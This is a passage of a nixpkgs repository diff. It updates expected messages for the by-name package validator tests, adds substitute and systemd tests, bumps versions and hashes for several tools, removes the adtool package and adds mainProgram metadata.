discouraged but would not break the base branch. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/override-no-call-package/expected b/pkgs/test/nixpkgs-check-by-name/tests/override-no-call-package/expected index 51479e22d26fe..d91d58d629f2b 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/override-no-call-package/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/override-no-call-package/expected @@ -1 +1,9 @@ -pkgs.nonDerivation: This attribute is manually defined (most likely in pkgs/top-level/all-packages.nix), which is only allowed if the definition is of the form `pkgs.callPackage pkgs/by-name/no/nonDerivation/package.nix { ... }` with a non-empty second argument. +- Because pkgs/by-name/no/nonDerivation exists, the attribute `pkgs.nonDerivation` must be defined like + + nonDerivation = callPackage ./pkgs/by-name/no/nonDerivation/package.nix { /* ... */ }; + + However, in this PR, it isn't defined that way. See the definition in all-packages.nix:2 + + nonDerivation = self.someDrv; + +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/override-no-file/expected b/pkgs/test/nixpkgs-check-by-name/tests/override-no-file/expected index 51479e22d26fe..807c440dd3d26 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/override-no-file/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/override-no-file/expected @@ -1 +1,9 @@ -pkgs.nonDerivation: This attribute is manually defined (most likely in pkgs/top-level/all-packages.nix), which is only allowed if the definition is of the form `pkgs.callPackage pkgs/by-name/no/nonDerivation/package.nix { ... }` with a non-empty second argument. +- Because pkgs/by-name/no/nonDerivation exists, the attribute `pkgs.nonDerivation` must be defined like + + nonDerivation = callPackage ./pkgs/by-name/no/nonDerivation/package.nix { /* ... */ }; + + However, in this PR, the first `callPackage` argument is not a path. See the definition in all-packages.nix:2: + + nonDerivation = self.callPackage ({ someDrv }: someDrv) { }; + +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/override-non-path/all-packages.nix b/pkgs/test/nixpkgs-check-by-name/tests/override-non-path/all-packages.nix new file mode 100644 index 0000000000000..f07e7a42744a4 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/override-non-path/all-packages.nix @@ -0,0 +1,5 @@ +self: super: { + + foo = self.callPackage ({ someDrv, someFlag }: someDrv) { someFlag = true; }; + +} diff --git a/pkgs/test/nixpkgs-check-by-name/tests/override-non-path/default.nix b/pkgs/test/nixpkgs-check-by-name/tests/override-non-path/default.nix new file mode 100644 index 0000000000000..861260cdca4b2 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/override-non-path/default.nix @@ -0,0 +1 @@ +import <test-nixpkgs> { root = ./.; } diff --git a/pkgs/test/nixpkgs-check-by-name/tests/override-non-path/expected b/pkgs/test/nixpkgs-check-by-name/tests/override-non-path/expected new file mode 100644 index 0000000000000..4adbaf66edc0e --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/override-non-path/expected @@ -0,0 +1,9 @@ +- Because pkgs/by-name/fo/foo exists, the attribute `pkgs.foo` must be defined like + + foo = callPackage ./pkgs/by-name/fo/foo/package.nix { /* ... */ }; + + However, in this PR, the first `callPackage` argument is not a path. See the definition in all-packages.nix:3: + + foo = self.callPackage ({ someDrv, someFlag }: someDrv) { someFlag = true; }; + +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/override-non-path/pkgs/by-name/fo/foo/package.nix b/pkgs/test/nixpkgs-check-by-name/tests/override-non-path/pkgs/by-name/fo/foo/package.nix new file mode 100644 index 0000000000000..a1b92efbbadb9 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/override-non-path/pkgs/by-name/fo/foo/package.nix @@ -0,0 +1 @@ +{ someDrv }: someDrv diff --git a/pkgs/test/nixpkgs-check-by-name/tests/override-success/expected b/pkgs/test/nixpkgs-check-by-name/tests/override-success/expected new file mode 100644 index 0000000000000..defae2634c343 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/override-success/expected @@ -0,0 +1 @@ +Validated successfully diff --git a/pkgs/test/nixpkgs-check-by-name/tests/package-dir-is-file/expected b/pkgs/test/nixpkgs-check-by-name/tests/package-dir-is-file/expected index 3ad4b8f820f5b..adee1d0137fab 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/package-dir-is-file/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/package-dir-is-file/expected @@ -1 +1,2 @@ pkgs/by-name/fo/foo: This path is a file, but it should be a directory. +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/package-nix-dir/expected b/pkgs/test/nixpkgs-check-by-name/tests/package-nix-dir/expected index 67a0c69fe29e5..d03e1eceea266 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/package-nix-dir/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/package-nix-dir/expected @@ -1 +1,2 @@ pkgs/by-name/fo/foo: "package.nix" must be a file. +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/package-variants/expected b/pkgs/test/nixpkgs-check-by-name/tests/package-variants/expected new file mode 100644 index 0000000000000..defae2634c343 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/package-variants/expected @@ -0,0 +1 @@ +Validated successfully diff --git a/pkgs/test/nixpkgs-check-by-name/tests/ref-absolute/expected b/pkgs/test/nixpkgs-check-by-name/tests/ref-absolute/expected index 7d20c32aad683..0bdb00f20cb99 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/ref-absolute/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/ref-absolute/expected @@ -1 +1,2 @@ pkgs/by-name/aa/aa: File package.nix at line 2 contains the path expression "/foo" which cannot be resolved: No such file or directory (os error 2). +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/ref-escape/expected b/pkgs/test/nixpkgs-check-by-name/tests/ref-escape/expected index 3d7fb64e80a36..2e4338ccc7ae1 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/ref-escape/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/ref-escape/expected @@ -1 +1,2 @@ pkgs/by-name/aa/aa: File package.nix at line 2 contains the path expression "../." which may point outside the directory of that package. +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/ref-nix-path/expected b/pkgs/test/nixpkgs-check-by-name/tests/ref-nix-path/expected index b0cdff4a4778c..30125570794ae 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/ref-nix-path/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/ref-nix-path/expected @@ -1 +1,2 @@ pkgs/by-name/aa/aa: File package.nix at line 2 contains the nix search path expression "<nixpkgs>" which may point outside the directory of that package. +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/ref-path-subexpr/expected b/pkgs/test/nixpkgs-check-by-name/tests/ref-path-subexpr/expected index ad662af27a86e..6567439b77f8d 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/ref-path-subexpr/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/ref-path-subexpr/expected @@ -1 +1,2 @@ pkgs/by-name/aa/aa: File package.nix at line 2 contains the path expression "./${"test"}", which is not yet supported and may point outside the directory of that package. +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/ref-success/expected b/pkgs/test/nixpkgs-check-by-name/tests/ref-success/expected new file mode 100644 index 0000000000000..defae2634c343 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/ref-success/expected @@ -0,0 +1 @@ +Validated successfully diff --git a/pkgs/test/nixpkgs-check-by-name/tests/shard-file/expected b/pkgs/test/nixpkgs-check-by-name/tests/shard-file/expected index 447b38e6b6c13..689cee41f1e3b 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/shard-file/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/shard-file/expected @@ -1 +1,2 @@ pkgs/by-name/fo: This is a file, but it should be a directory. +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/sorted-order/expected b/pkgs/test/nixpkgs-check-by-name/tests/sorted-order/expected index 349e9ad47c41f..8a8104b737209 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/sorted-order/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/sorted-order/expected @@ -1,4 +1,31 @@ -pkgs.a: This attribute is manually defined (most likely in pkgs/top-level/all-packages.nix), which is only allowed if the definition is of the form `pkgs.callPackage pkgs/by-name/a/a/package.nix { ... }` with a non-empty second argument. -pkgs.b: This is a new top-level package of the form `callPackage ... { }`. Please define it in pkgs/by-name/b/b/package.nix instead. See `pkgs/by-name/README.md` for more details. Since the second `callPackage` argument is `{ }`, no manual `callPackage` (e.g. in `pkgs/top-level/all-packages.nix`) is needed anymore. -pkgs.c: This attribute is manually defined (most likely in pkgs/top-level/all-packages.nix), which is only allowed if the definition is of the form `pkgs.callPackage pkgs/by-name/c/c/package.nix { ... }` with a non-empty second argument. -pkgs.d: This is a new top-level package of the form `callPackage ... { }`. Please define it in pkgs/by-name/d/d/package.nix instead. See `pkgs/by-name/README.md` for more details. Since the second `callPackage` argument is `{ }`, no manual `callPackage` (e.g. in `pkgs/top-level/all-packages.nix`) is needed anymore. +- Because pkgs/by-name/a/a exists, the attribute `pkgs.a` must be defined like + + a = callPackage ./pkgs/by-name/a/a/package.nix { /* ... */ }; + + However, in this PR, the second argument is empty. See the definition in all-packages.nix:2: + + a = self.callPackage ./pkgs/by-name/a/a/package.nix { }; + + Such a definition is provided automatically and therefore not necessary. Please remove it. + +- Attribute `pkgs.b` is a new top-level package using `pkgs.callPackage ... { /* ... */ }`. + Please define it in pkgs/by-name/b/b/package.nix instead. + See `pkgs/by-name/README.md` for more details. + Since the second `callPackage` argument is `{ }`, no manual `callPackage` in all-packages.nix is needed anymore. + +- Because pkgs/by-name/c/c exists, the attribute `pkgs.c` must be defined like + + c = callPackage ./pkgs/by-name/c/c/package.nix { /* ... */ }; + + However, in this PR, the second argument is empty. See the definition in all-packages.nix:4: + + c = self.callPackage ./pkgs/by-name/c/c/package.nix { }; + + Such a definition is provided automatically and therefore not necessary. Please remove it. + +- Attribute `pkgs.d` is a new top-level package using `pkgs.callPackage ... { /* ... */ }`. + Please define it in pkgs/by-name/d/d/package.nix instead. + See `pkgs/by-name/README.md` for more details. + Since the second `callPackage` argument is `{ }`, no manual `callPackage` in all-packages.nix is needed anymore. + +This PR introduces additional instances of discouraged patterns as listed above. Merging is discouraged but would not break the base branch. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/success/expected b/pkgs/test/nixpkgs-check-by-name/tests/success/expected new file mode 100644 index 0000000000000..defae2634c343 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/success/expected @@ -0,0 +1 @@ +Validated successfully diff --git a/pkgs/test/nixpkgs-check-by-name/tests/symlink-escape/expected b/pkgs/test/nixpkgs-check-by-name/tests/symlink-escape/expected index 335c5d6b6e5dc..cd555c658a09c 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/symlink-escape/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/symlink-escape/expected @@ -1 +1,2 @@ pkgs/by-name/fo/foo: Path package.nix is a symlink pointing to a path outside the directory of that package. +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/symlink-invalid/expected b/pkgs/test/nixpkgs-check-by-name/tests/symlink-invalid/expected index c1e7a28205a77..1b06bcf4972be 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/symlink-invalid/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/symlink-invalid/expected @@ -1 +1,2 @@ pkgs/by-name/fo/foo: Path foo is a symlink which cannot be resolved: No such file or directory (os error 2). +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/unknown-location/expected b/pkgs/test/nixpkgs-check-by-name/tests/unknown-location/expected index 2a248c23ab50c..608843d939037 100644 --- a/pkgs/test/nixpkgs-check-by-name/tests/unknown-location/expected +++ b/pkgs/test/nixpkgs-check-by-name/tests/unknown-location/expected @@ -1 +1,2 @@ pkgs.foo: Cannot determine the location of this attribute using `builtins.unsafeGetAttrPos`. +This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break. diff --git a/pkgs/test/nixpkgs-check-by-name/tests/uppercase/expected b/pkgs/test/nixpkgs-check-by-name/tests/uppercase/expected new file mode 100644 index 0000000000000..defae2634c343 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/uppercase/expected @@ -0,0 +1 @@ +Validated successfully diff --git a/pkgs/test/nixpkgs-check-by-name/tests/with-readme/expected b/pkgs/test/nixpkgs-check-by-name/tests/with-readme/expected new file mode 100644 index 0000000000000..defae2634c343 --- /dev/null +++ b/pkgs/test/nixpkgs-check-by-name/tests/with-readme/expected @@ -0,0 +1 @@ +Validated successfully diff --git a/pkgs/test/stdenv/patch-shebangs.nix b/pkgs/test/stdenv/patch-shebangs.nix index 888d4a53a2733..db9ca2fcaafef 100644 --- a/pkgs/test/stdenv/patch-shebangs.nix +++ b/pkgs/test/stdenv/patch-shebangs.nix @@ -72,11 +72,26 @@ let }; }; + without-trailing-newline = stdenv.mkDerivation { + name = "without-trailing-newline"; + strictDeps = false; + dontUnpack = true; + installPhase = '' + mkdir -p $out/bin + printf "#!/bin/bash" > $out/bin/test + chmod +x $out/bin/test + dontPatchShebangs= + ''; + passthru = { + assertion = "grep '^#!${stdenv.shell}' $out/bin/test > /dev/null"; + }; + }; + }; in stdenv.mkDerivation { name = "test-patch-shebangs"; - passthru = { inherit (tests) bad-shebang ignores-nix-store updates-nix-store split-string; }; + passthru = { inherit (tests) bad-shebang ignores-nix-store updates-nix-store split-string without-trailing-newline; }; buildCommand = '' validate() { local name=$1 diff --git a/pkgs/test/substitute/default.nix b/pkgs/test/substitute/default.nix new file mode 100644 index 0000000000000..3ff346b146584 --- /dev/null +++ b/pkgs/test/substitute/default.nix @@ -0,0 +1,96 @@ +{ substitute, testers, runCommand }: +let + # Ofborg doesn't allow any traces on stderr, + # so mock `lib` to not trace warnings, + # because substitute gives a deprecation warning + substituteSilent = substitute.override (prevArgs: { + lib = prevArgs.lib.extend (finalLib: prevLib: { + trivial = prevLib.trivial // { + warn = msg: value: value; + }; + }); + }); +in { + + substitutions = testers.testEqualContents { + assertion = "substitutions-spaces"; + actual = substitute { + src = builtins.toFile "source" '' + Hello world! + ''; + substitutions = [ + "--replace-fail" + "Hello world!" + "Yo peter!" + ]; + }; + expected = builtins.toFile "expected" '' + Yo peter! + ''; + }; + + legacySingleReplace = testers.testEqualContents { + assertion = "substitute-single-replace"; + actual = substituteSilent { + src = builtins.toFile "source" '' + Hello world! + ''; + replacements = [ + "--replace-fail" "world" "paul" + ]; + }; + expected = builtins.toFile "expected" '' + Hello paul! + ''; + }; + + legacyString = testers.testEqualContents { + assertion = "substitute-string"; + actual = substituteSilent { + src = builtins.toFile "source" '' + Hello world! + ''; + # Not great that this works at all, but is supported + replacements = "--replace-fail world string"; + }; + expected = builtins.toFile "expected" '' + Hello string! + ''; + }; + + legacySingleArg = testers.testEqualContents { + assertion = "substitute-single-arg"; + actual = substituteSilent { + src = builtins.toFile "source" '' + Hello world! + ''; + # Not great that this works at all, but is supported + replacements = [ + "--replace-fail world list" + ]; + }; + expected = builtins.toFile "expected" '' + Hello list! + ''; + }; + + legacyVar = testers.testEqualContents { + assertion = "substitute-var"; + actual = substituteSilent { + src = builtins.toFile "source" '' + @greeting@ @name@! + ''; + # Not great that this works at all, but is supported + replacements = [ + "--subst-var name" + "--subst-var-by greeting Yo" + ]; + name = "peter"; + }; + expected = builtins.toFile "expected" '' + Yo peter! + ''; + }; + + +} diff --git a/pkgs/test/systemd/default.nix b/pkgs/test/systemd/default.nix new file mode 100644 index 0000000000000..2208bf794481f --- /dev/null +++ b/pkgs/test/systemd/default.nix @@ -0,0 +1,5 @@ +{ lib, callPackage }: + +lib.recurseIntoAttrs { + nixos = callPackage ./nixos { }; +} diff --git a/pkgs/test/systemd/nixos/default.nix b/pkgs/test/systemd/nixos/default.nix new file mode 100644 index 0000000000000..e45399b635167 --- /dev/null +++ b/pkgs/test/systemd/nixos/default.nix @@ -0,0 +1,37 @@ +{ pkgs, lib, stdenv, ... }: + +lib.runTests { + # Merging two non-list definitions must still result in an error + # about a conflicting definition. + test-unitOption-merging-non-lists-conflict = + let nixos = pkgs.nixos { + system.stateVersion = lib.trivial.release; + systemd.services.systemd-test-nixos = { + serviceConfig = lib.mkMerge [ + { StateDirectory = "foo"; } + { StateDirectory = "bar"; } + ]; + }; + }; + in { + expr = (builtins.tryEval (nixos.config.systemd.services.systemd-test-nixos.serviceConfig.StateDirectory)).success; + expected = false; + }; + + # Merging must lift non-list definitions to a list + # if at least one of them is a list. + test-unitOption-merging-list-non-list-append = + let nixos = pkgs.nixos { + system.stateVersion = lib.trivial.release; + systemd.services.systemd-test-nixos = { + serviceConfig = lib.mkMerge [ + { StateDirectory = "foo"; } + { StateDirectory = ["bar"]; } + ]; + }; + }; + in { + expr = nixos.config.systemd.services.systemd-test-nixos.serviceConfig.StateDirectory; + expected = [ "foo" "bar" ]; + }; +} diff --git a/pkgs/tools/X11/ckbcomp/default.nix b/pkgs/tools/X11/ckbcomp/default.nix index 89bc5939299be..3a49053efcf4b 100644 --- a/pkgs/tools/X11/ckbcomp/default.nix +++ b/pkgs/tools/X11/ckbcomp/default.nix @@ -2,14 +2,14 @@ stdenv.mkDerivation rec { pname = "ckbcomp"; - version = "1.224"; + version = "1.226"; src = fetchFromGitLab { domain = "salsa.debian.org"; owner = "installer-team"; repo = "console-setup"; rev = version; - sha256 = "sha256-oqpETbMc0J8AKqt251kmxYyA2wgXxI1V2t6oJC14MfM="; + sha256 = "sha256-gipUL+EqBeFK0/3Ds5Xi67Kl/XEJkUe02lPhf7OifXY="; }; buildInputs = [ perl ]; diff --git a/pkgs/tools/X11/xdg-utils/default.nix b/pkgs/tools/X11/xdg-utils/default.nix index 3db16f0671486..451ce3a81b56e 100644 --- a/pkgs/tools/X11/xdg-utils/default.nix +++ b/pkgs/tools/X11/xdg-utils/default.nix @@ -2,7 +2,7 @@ # docs deps , libxslt, docbook_xml_dtd_412, docbook_xml_dtd_43, docbook_xsl, xmlto # runtime deps -, resholve, bash, coreutils, dbus, file, gawk, glib, gnugrep, gnused, jq, lockfileProgs, nettools, procmail, procps, xdg-user-dirs +, resholve, bash, coreutils, dbus, file, gawk, glib, gnugrep, gnused, jq, nettools, procmail, procps, xdg-user-dirs , perl, perlPackages , mimiSupport ? false , withXdgOpenUsePortalPatch ? true }: @@ -162,7 +162,7 @@ let { scripts = [ "bin/xdg-screensaver" ]; interpreter = "${bash}/bin/bash"; - inputs = commonDeps ++ [ lockfileProgs nettools perl procmail procps ]; + inputs = commonDeps ++ [ nettools perl procmail procps ]; # These are desktop-specific, so we don't want xdg-utils to be able to # call them when in a different setup. fake.external = commonFakes ++ [ @@ -214,33 +214,17 @@ in stdenv.mkDerivation rec { pname = "xdg-utils"; - version = "1.2.0"; + version = "1.2.1"; src = fetchFromGitLab { domain = "gitlab.freedesktop.org"; owner = "xdg"; repo = "xdg-utils"; rev = "v${version}"; - hash = "sha256-rjNIO4B9jHsBmPaugWTMqTGNpjiw0MTEmf9/ds2Mud4="; + hash = "sha256-58ElbrVlk+13DUODSEHBPcDDt9H+Kuee8Rz9CIcoy0I="; }; - patches = [ - # Backport typo fix - (fetchpatch { - url = "https://gitlab.freedesktop.org/xdg/xdg-utils/-/commit/af2fe0d1dcbcd982d84ddf2bbd174afe90976ed9.patch"; - hash = "sha256-HhQk06wWkyWjSxjXet+sADKf1irswKxDA8WuOknZKRs="; - }) - # Backport docs rendering fixes - # See: https://gitlab.freedesktop.org/xdg/xdg-utils/-/merge_requests/106 - (fetchpatch { - url = "https://gitlab.freedesktop.org/xdg/xdg-utils/-/commit/403a720ad18920030418a7c3d1f2caba9ce3892d.patch"; - hash = "sha256-XxFUeyXENHCy+wplIJ5OzoU5oyA4v1bz/9qMXp1ZwsE="; - }) - (fetchpatch { - url = "https://gitlab.freedesktop.org/xdg/xdg-utils/-/commit/a137f2ba87620402aca21b14fb1d79517782dd29.patch"; - hash = "sha256-XFUAWn4uOyzgLdvupBxsO7wm6VDSzYj1SGZEM+9ouec="; - }) - ] ++ lib.optionals withXdgOpenUsePortalPatch [ + patches = lib.optionals withXdgOpenUsePortalPatch [ # Allow forcing the use of XDG portals using NIXOS_XDG_OPEN_USE_PORTAL environment variable. # Upstream PR: https://github.com/freedesktop/xdg-utils/pull/12 ./allow-forcing-portal-use.patch diff --git a/pkgs/tools/X11/xprintidle/default.nix b/pkgs/tools/X11/xprintidle/default.nix index 4a0d371a7fd61..33782f6ed6c63 100644 --- a/pkgs/tools/X11/xprintidle/default.nix +++ b/pkgs/tools/X11/xprintidle/default.nix @@ -7,14 +7,14 @@ , xorg }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "xprintidle"; version = "0.2.5"; src = fetchFromGitHub { owner = "g0hl1n"; repo = "xprintidle"; - rev = version; + rev = finalAttrs.version; sha256 = "sha256-bafDUZoSFsJ3g6mtLCRechGizfrWg2qW2vnlfIzj7mQ="; }; @@ -38,4 +38,4 @@ stdenv.mkDerivation rec { platforms = platforms.linux; mainProgram = "xprintidle"; }; -} +}) diff --git a/pkgs/tools/X11/xrestop/default.nix b/pkgs/tools/X11/xrestop/default.nix index 2837d2a83d736..b6d04c7908437 100644 --- a/pkgs/tools/X11/xrestop/default.nix +++ b/pkgs/tools/X11/xrestop/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "xrestop"; - version = "0.5"; + version = "0.6"; src = fetchurl { - url = "https://xorg.freedesktop.org/archive/individual/app/xrestop-${version}.tar.bz2"; - sha256 = "06ym32famav8qhdms5k7y5i14nfq89hhvfn5g452jjqzkpcsbl49"; + url = "https://xorg.freedesktop.org/archive/individual/app/xrestop-${version}.tar.xz"; + hash = "sha256-Li7BEcSyeYtdwtwrPsevT2smGUbpA7jhTbBGgx0gOyk="; }; nativeBuildInputs = [ pkg-config ]; diff --git a/pkgs/tools/admin/acme-sh/default.nix b/pkgs/tools/admin/acme-sh/default.nix index ead37f84f0342..6f82567ab02da 100644 --- a/pkgs/tools/admin/acme-sh/default.nix +++ b/pkgs/tools/admin/acme-sh/default.nix @@ -74,5 +74,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Only; maintainers = with lib.maintainers; [ mkaito ] ++ teams.serokell.members; inherit (coreutils.meta) platforms; + mainProgram = "acme.sh"; }; } diff --git a/pkgs/tools/admin/adtool/default.nix b/pkgs/tools/admin/adtool/default.nix deleted file mode 100644 index 62d6fa3803e33..0000000000000 --- a/pkgs/tools/admin/adtool/default.nix +++ /dev/null @@ -1,46 +0,0 @@ -{ lib, stdenv, fetchurl, openldap }: - -stdenv.mkDerivation rec { - pname = "adtool"; - version = "1.3.3"; - - src = fetchurl { - url = "https://gp2x.org/adtool/${pname}-${version}.tar.gz"; - sha256 = "1awmpjamrwivi69i0j2fyrziy9s096ckviqd9c4llc3990mfsn4n"; - }; - - configureFlags = [ - "--sysconfdir=/etc" - ]; - - installFlags = [ - "sysconfdir=$(out)/etc" - ]; - - buildInputs = [ openldap ]; - - # Workaround build failure on -fno-common toolchains like upstream - # gcc-10. Otherwise build fails as: - # ld: ../../src/lib/libactive_directory.a(active_directory.o):/build/adtool-1.3.3/src/lib/active_directory.h:31: - # multiple definition of `system_config_file'; adtool.o:/build/adtool-1.3.3/src/tools/../../src/lib/active_directory.h:31: first defined here - env.NIX_CFLAGS_COMPILE = "-fcommon"; - - enableParallelBuilding = true; - - postInstall = '' - mkdir -p $out/share/doc/adtool - mv $out/etc/* $out/share/doc/adtool - rmdir $out/etc - ''; - - # It requires an LDAP server for tests - doCheck = false; - - meta = with lib; { - description = "Active Directory administration utility for Unix"; - homepage = "https://gp2x.org/adtool"; - license = licenses.gpl2; - maintainers = with maintainers; [ peterhoeg ]; - broken = true; # does not link against recent libldap versions and unmaintained since 2017 - }; -} diff --git a/pkgs/tools/admin/afterburn/default.nix b/pkgs/tools/admin/afterburn/default.nix index ddb8d0c9bfd49..bd104a2687d30 100644 --- a/pkgs/tools/admin/afterburn/default.nix +++ b/pkgs/tools/admin/afterburn/default.nix @@ -33,5 +33,6 @@ rustPlatform.buildRustPackage rec { license = licenses.asl20; maintainers = [ maintainers.arianvp ]; platforms = platforms.linux; + mainProgram = "afterburn"; }; } diff --git a/pkgs/tools/admin/aliyun-cli/default.nix b/pkgs/tools/admin/aliyun-cli/default.nix index e45faef00cbe1..6e3b205224fd1 100644 --- a/pkgs/tools/admin/aliyun-cli/default.nix +++ b/pkgs/tools/admin/aliyun-cli/default.nix @@ -2,17 +2,17 @@ buildGoModule rec { pname = "aliyun-cli"; - version = "3.0.198"; + version = "3.0.199"; src = fetchFromGitHub { rev = "v${version}"; owner = "aliyun"; repo = pname; fetchSubmodules = true; - sha256 = "sha256-kIFB1wFVZTFr4tqSiBvgwqGLVq2UmG58vAqhug8giE0="; + sha256 = "sha256-fHp+sLbCsfFGK6FmhiNp7Z2y2k2baP/s4na3zsBOccU="; }; - vendorHash = "sha256-NoismcBQtVv7QOIGOqRsmau9zY+MkCAl46ll2y0hbW4="; + vendorHash = "sha256-cCjLnJxO6e03vlWIa8OF9wSce4aVNr6ak4mY5rN7TVw="; subPackages = [ "main" ]; diff --git a/pkgs/tools/admin/analog/default.nix b/pkgs/tools/admin/analog/default.nix index 54d863bb958f6..187dc6234cc20 100644 --- a/pkgs/tools/admin/analog/default.nix +++ b/pkgs/tools/admin/analog/default.nix @@ -33,6 +33,7 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl2; description = "Powerful tool to generate web server statistics"; platforms = lib.platforms.all; + mainProgram = "analog"; }; } diff --git a/pkgs/tools/admin/aws-env/default.nix b/pkgs/tools/admin/aws-env/default.nix index 3ec84e80bb947..c16d8374c9b0b 100644 --- a/pkgs/tools/admin/aws-env/default.nix +++ b/pkgs/tools/admin/aws-env/default.nix @@ -21,5 +21,6 @@ buildGoPackage rec { homepage = "https://github.com/Droplr/aws-env"; license = licenses.mit; maintainers = with maintainers; [ srhb ]; + mainProgram = "aws-env"; }; } diff --git a/pkgs/tools/admin/aws-nuke/default.nix b/pkgs/tools/admin/aws-nuke/default.nix index 2529cbc21a6b2..af8acd946fb1b 100644 --- a/pkgs/tools/admin/aws-nuke/default.nix +++ b/pkgs/tools/admin/aws-nuke/default.nix @@ -44,5 +44,6 @@ buildGoModule rec { changelog = "https://github.com/rebuy-de/aws-nuke/releases/tag/v${version}"; license = licenses.mit; maintainers = with maintainers; [ grahamc ]; + mainProgram = "aws-nuke"; }; } diff --git a/pkgs/tools/admin/aws-rotate-key/default.nix b/pkgs/tools/admin/aws-rotate-key/default.nix index 965c6807803ed..298584ce8d245 100644 --- a/pkgs/tools/admin/aws-rotate-key/default.nix +++ b/pkgs/tools/admin/aws-rotate-key/default.nix @@ -24,5 +24,6 @@ buildGoModule rec { homepage = "https://github.com/Fullscreen/aws-rotate-key"; license = licenses.mit; maintainers = [ maintainers.mbode ]; + mainProgram = "aws-rotate-key"; }; } diff --git a/pkgs/tools/admin/aws-vault/default.nix b/pkgs/tools/admin/aws-vault/default.nix index 79f97c330fd72..99255f568fa9d 100644 --- a/pkgs/tools/admin/aws-vault/default.nix +++ b/pkgs/tools/admin/aws-vault/default.nix @@ -3,6 +3,7 @@ , installShellFiles , lib , makeWrapper +, stdenv , xdg-utils }: buildGoModule rec { @@ -22,7 +23,8 @@ buildGoModule rec { postInstall = '' # make xdg-open overrideable at runtime - wrapProgram $out/bin/aws-vault --suffix PATH : ${lib.makeBinPath [ xdg-utils ]} + # aws-vault uses https://github.com/skratchdot/open-golang/blob/master/open/open.go to open links + ${lib.optionalString (!stdenv.isDarwin) "wrapProgram $out/bin/aws-vault --suffix PATH : ${lib.makeBinPath [ xdg-utils ]}"} installShellCompletion --cmd aws-vault \ --bash $src/contrib/completions/bash/aws-vault.bash \ --fish $src/contrib/completions/fish/aws-vault.fish \ diff --git a/pkgs/tools/admin/awscli/default.nix b/pkgs/tools/admin/awscli/default.nix index 73c86278df703..94b4f8ff82d88 100644 --- a/pkgs/tools/admin/awscli/default.nix +++ b/pkgs/tools/admin/awscli/default.nix @@ -10,11 +10,11 @@ python3.pkgs.buildPythonApplication rec { pname = "awscli"; - version = "1.31.6"; # N.B: if you change this, change botocore and boto3 to a matching version too + version = "1.32.21"; # N.B: if you change this, change botocore and boto3 to a matching version too src = fetchPypi { inherit pname version; - hash = "sha256-PINiNkP2vopPgc9bH0x7mifeUt7gdXi3/i2Ye96RANg="; + hash = "sha256-euz3pcTKCPjgP7mKVoOf/62JPp0rRevbcYf/RfZTNd0="; }; propagatedBuildInputs = with python3.pkgs; [ diff --git a/pkgs/tools/admin/awsls/default.nix b/pkgs/tools/admin/awsls/default.nix index 973d1f106227e..f65f603e80da8 100644 --- a/pkgs/tools/admin/awsls/default.nix +++ b/pkgs/tools/admin/awsls/default.nix @@ -24,5 +24,6 @@ buildGoModule rec { homepage = "https://github.com/jckuester/awsls"; license = licenses.mit; maintainers = [ 